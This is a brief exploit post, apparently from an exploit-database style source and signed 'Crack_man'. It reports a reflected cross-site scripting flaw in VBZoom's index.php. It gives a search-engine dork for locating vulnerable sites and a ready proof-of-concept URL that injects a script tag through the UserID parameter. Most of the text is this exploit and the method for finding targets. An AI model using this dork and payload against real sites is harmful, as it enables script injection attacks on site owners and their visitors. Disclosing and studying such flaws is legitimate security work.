VBZoom is susceptible to a cross site scripting flaw.
4644051554c7f2e0e1f93618cd0c1e360211a9c7448206e75ca2bdb604c02443
vbzoom ====> index.php
info:
file:index.php
thank to www.lezr.com/vb
google ======> powered by vbzoom inurl:index.php?UserID=
Exp:
http://[traget]/[path]/index.php?UserID="><script>alert(1);</script>
===================================
by Crack_man